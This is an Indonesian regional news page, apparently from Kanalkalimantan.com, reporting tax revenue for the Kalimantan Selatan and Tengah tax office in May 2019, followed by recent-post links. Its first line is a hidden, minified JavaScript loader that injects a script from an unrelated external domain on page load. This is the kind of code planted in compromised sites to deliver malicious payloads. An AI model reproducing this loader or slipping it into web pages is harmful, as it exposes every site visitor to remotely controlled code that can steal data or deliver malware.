(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Bisnis

Realisasi Serapan Pajak Kalselteng Tembus Rp 4,7 Triliun


BANJARMASIN, Kantor Wilayah Direktorat Jenderal Pajak Kalimantan Selatan dan Tengah (Kanwil DJP Kalselteng) mengklaim penyerapan pajak yang dibukukan hingga 15 Mei 2019 tembus diangka Rp 4,7 triliun.

Menurut Kepala Kanwil DJP Kalsel-Teng Cucu Supriatna, capaian ini sudah tembus diangka 29,75 persen dari target realisasi penerimaan pajak yang ditargetkan DJP Pusat pada Tahun 2019 yang dipatok sebesar Rp 15,8 Triliun.

“Karena capaian tersebut menurut DJP Pusat kita masuk tiga besar capaian penyerapan pajak terbaik se-Indonesia. Tren ini tentunya harus terus kita lanjutkan sampai tutup Tahun 2019 mendatang,” tegasnya disela kegiatan Gathring Media bersama Kanwil DJP Kalselteng, Rabu (15/5) di Hotel Mercure Banjarmasin.

Ada pun penyerapan pajak tertinggi sendiri diakuinya masih di dominasi oleh sektor pertambangan. Walau begitu pihaknya tetap terus melakukan berbagai terobosan agar sektor-sektor penyerapan pajak potensial lainnya dapat dimaksimalkan.

“Kami sedang berupaya menggarap sektor lain selain pertambangan untuk memaksimalkan penyerapan pajak. Baik itu sektor perkebunan, kehutanan, industri emas hingga UMKM coba sedang kita garap agar bisa memberikan pemasukan pajak yang optimal kepada negara,” tambahnya.

Bahkan terkhusus untuk UMKM pihaknya sudah memiliki program Business Development Service bagi pelaku UMKM dimana UMKM mendapatkan pembinaan dan pengembangan dari DJP dengan harapan kesadaran dan kepatuhan UMKM membayar pajak dapat meningkat.

“Bagi pelaku UMKM yang beromset sampai dengan Rp 4,8 Miliar dalam setahun. Kami bahkan memberikan mereka fasilitas pembayaran pajak final dengan tarif 0,5 persen dari omset,” ungkapnya.

Sedangkan untuk realisasi penyampaian Surat Pemberitahuan Tahunan (SPT) melalui e-Filling sebesar 109,02 persen dari target 84 persen. Namun untuk realisasi tingkat kepatuhan formal untuk Wajib Pajak Badan dan Wajib Pajak Orang Pribadi Non Karyawan diakuinya masih terbilang rendah, yakni hanya sebesar 47,84 persen dari target sebesar 70 persen.

“Untuk badan dan orang pribadi memang masih rendah, karena itulah kita terus coba edukasi lagi melalui rekan-rekan media tentang pentingnya melaporkan pemasukan dan membayar pajak untuk pembangunan negara yang lebih baik lagi kedepannya,” pungkasnya.(arief)

Reporter: Arief
Editor: Chell

Desy Arfianty

Recent Posts

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

2 jam ago

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

10 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

13 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

13 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

17 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

18 jam ago

This website uses cookies.